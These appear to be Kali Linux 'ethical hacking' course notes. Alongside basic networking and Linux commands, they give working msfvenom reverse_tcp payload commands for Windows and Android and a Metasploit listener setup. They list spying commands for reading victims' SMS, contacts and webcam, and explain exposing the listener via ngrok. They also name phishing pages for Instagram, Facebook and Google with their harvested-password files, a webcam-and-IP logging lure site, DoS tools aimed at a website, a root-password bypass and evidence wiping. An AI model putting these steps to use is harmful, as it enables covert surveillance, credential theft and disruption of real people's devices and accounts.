Ethical Hacking With Kali Linux Notes
Ethical Hacking With Kali Linux Notes
Kali : Introduction
Kali is a special OS used by ETHICAL HACKERS and PENTESTERS.
It is based on DEBIAN LINUX.
Kali : History
Its older name was BACK TRACK.
Kali is renamed after its 6th VERSION.
6th VERSION is known as KALI LINUX.
Competitor : Parrot Security OS | BlackArch | BlackBox
chmod +x *.* > To give execuation file permission to ALL FILES in a folder
bash FILENAME.sh > To execute .SH tools [ Shellcode Tools ]
python FILENAME.py > To execute .PY tools [ Python Tools ]
history > shows all past commands typed on the terminal screen
history -c > Clears history logs [ Sometimes doesnt work ;) ]
Installation Of Software :
1] Copy Tool Link from GITHUB
2] Open terminal and type the following command :
git clone PAST_GITLINK_HERE
Note : This will download the software folder on your system
This requirements.txt contains useful support files for software, pip automatcally downlaods
and installs for us.
[Note if some error shows : install pip3 using apt install pip ]
If doesnt exist,
Skip this step.
./toolname
Kali : Software Installation from REPOSITORY
Like play store some apps are available from kali repository.
It is like a tools bank.
for those tools we have to type the following command :
easysploit
easymacchanger
osi.ig
sherlock
slowloris
hulk
xlr8
zphisher
cupp
camphish
02 | Advanced Networking for Hackers
Network
Network is a group of computer systems that SHARES DATA and RESOURCE.
OSI Model
OSI = Open System Interconnection
Multiple companies devices can COMMUNICATE !!
7 Layers : International Standard
TCP/IP Protocols
TCP = Transmission Control Protocol
Send and Recieve
IP = Internet Protocol
Addressing
Working of FTP
FTP = File Transfer Protocol
Work : Use to DOWNLOAD or UPLOAD files to SERVER
Port : 21
Working of DNS
DNS = Domain Name Server or System
Work : Translates DOMAIN NAME to IP ADDRESS
Port : 53
Working of DHCP
DHCP = Dynamic Host Control Protocol
Work : Automatically assign IP Address to connected systems
Port : 67
Working of SMTP
SMTP = Simple Mail Transfer Protocol
Work : Sending of MAIL
Port : 25
Working of POP3 and IMAP
POP3 = Post Office Protocol version 3
Work : Receiving Mails
Port : 110
Working of TELNET
Work : Remote Control of the System | SSH Server
Port : 23
Working of SSH
Work : Remote Control of the System
Port : 22
Working of NTP
Work : Network Time Control and Management
Port: 123
03 | Server Management on Kali
What is SERVER ?
Any system that provides specific SERVICE is known as SERVER.
What is CLIENT ?
Any system that USES or REQUEST service from the SERVER is known as Client.
* Server or Client is a SOFTWARE, And when we install that on a hardware that hardware
becomes a SERVER or CLIENT.
Open Terminal
Install SSH Server Software :
apt-install openssh-server
nano /etc/ssh/sshd_config
Edit this :
#PermitRootLogin Prohibit-Password
Change :
Remove Hash
Replace Prohibit-Password with : yes
On Windows Side ?
Download and install any SSH Client Utility:
MobaXterm Download.
Run the tool
Left side : SESSIONS > IP = Kali System SSH SERVER >
Terminal : USERNAME and PASS [ KALI ]
...
Now WE CAN CONTROL KALI using SSH SERVER.
SERVER 02 | WEB SERVER SETUP
Files ?
/etc/var/www/html
04 | Identity Changing
Method 01 | Manually
macchanger -s eth0 => shows current mac address of system
ifconfig eth0 down => disables ethernet nic
macchanger -r eth0 => changes mac of ethernet nic
ifconfig eth0 up => enables ethernet nic
macchanger -s eth0 => verify mac address is changed
macchanger -p eth0 => Reset mac address (get back original)
-s = show
-r = random mac address to set
eth0 = ethernet
wlan0 = wifi card
Phishig Project :
Instagram : http://cspsec.in/insta/
| Pass : /data.txt
Facebook : http://cspsec.in/facebook/
| Pass : /data.txt
Google : http://cspsec.in/google/
| Pass : /data.txt
GPS Tracker :
https://cspsec.in/
| Location : /long_lat.txt
Linux
ro quite splash
Replace with following :
rw initrd=/install/gtk/initrd.gz quite splash init=/bin/bash
cont+s
cont+x
passwd root
Set new pass here.
exec /sbin/init
Module 07 | Hacking with Metasploit
Meta = Big
Exploit = To break something
Important Terms :
Methods of Connection :-
reverse_tcp => Once our payload is executed, target will COME TO CONNECT US.
bind_tcp => Once our payload is executed, we have to CONNECT to TARGET.
Note : reverse_tcp is BETTER, It will BYPASS Firewall of Target System.
HACKING with METASPLOIT
1] Creating Payload
Hacking Windows :
msfvenom -p windows/meterpreter/reverse_tcp lhost=YOURIP lport=4444-f exe > hacker.exe
Hacking Android :
msfvenom -p android/meterpreter/reverse_tcp lhost=YOURIP lport=4444 R > hacker.apk
2] Starting Listener ?
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IPofKALI
set lport 4444
exploit
Windows Commands :
screenshare => Shows live screen of Target
webcam_stream => Shows live webcam stream from Target
shell => Shows command prompt of the Target
Android Commands :
hide_app_icon
dump_contacts
dump_sms
dump_calllog
webcam_snap
Protection :
Windows Defender Firewall should be ON and UPDATE regularly.
Android Play Protect should be ON and CHECK STATUS of it regularly, some spyware makes it
DISABLE.
Hacking Over Internet ?
Sign up Account on NGROK.COM
Sign in and Download NGROK For Linux
Extract Downloaded file and run the AUTHENTICATION TOKEN Command given on the
webpage
Site : datingrajkot.fun
Photo Link : datingrajkot.fun/images/webcam_images
IP Link : datingrajkot.fun/logfile.txt
Introduction
Penetration Testing means TESTING SECURITY of DEVICE or SERVER or USER COMPUTER.
Hacking with legal permission is known as PENETRATION TESTING.
The Person who does these tests is known as PENTESTER or PENETRATION TESTER.
BlackBox
In this type of pentest, Only company name is given to the PENTESTERS.
All other information like site, ip address, ports and other details PENTESTER have to find.
WhiteBox
In this type of pentest, all info about the target device, server or system is given with legal
permission.
GreyBox
In this type of pentest, Some info is given and some are missing so PENTESTER have to find
the missing information.
Process :
New > Linux > Name = SERVER > Next
Set RAM > Next
Set VDI > Next
Set HDD > Next
Ok.
Click on STORAGE
Select VDI File
Right side : Choose metasploitable.vdi file
ok.
Understanding Vulnerability
Vulnerability is a weakness in the software or system that can be misused by the hacker.
Finding Exploit
Once hacker know the vulnerability, they find the exploit code for the specific version and
then tries it.
Running Exploit
Exploits are run on metasploit msfconsole.
STEP 01 | Scanning
nmap -sV TargetIP
-sV = Service Version
SERVER : Open port, Software, Software Version
use exploit/unix/irc/unreal_ircd_3281_backdoor
set payload cmd/unix/reverse_perl
set rhost [target ip]
set lhost [attackbox ip]
exploit
hulk
python hulk.py https://sitename.com
05 | Clearing Tracks
Removing Evidence from Pen Drive [ Overwrite with Low Level Format ]
Tool : Low Level Format Tool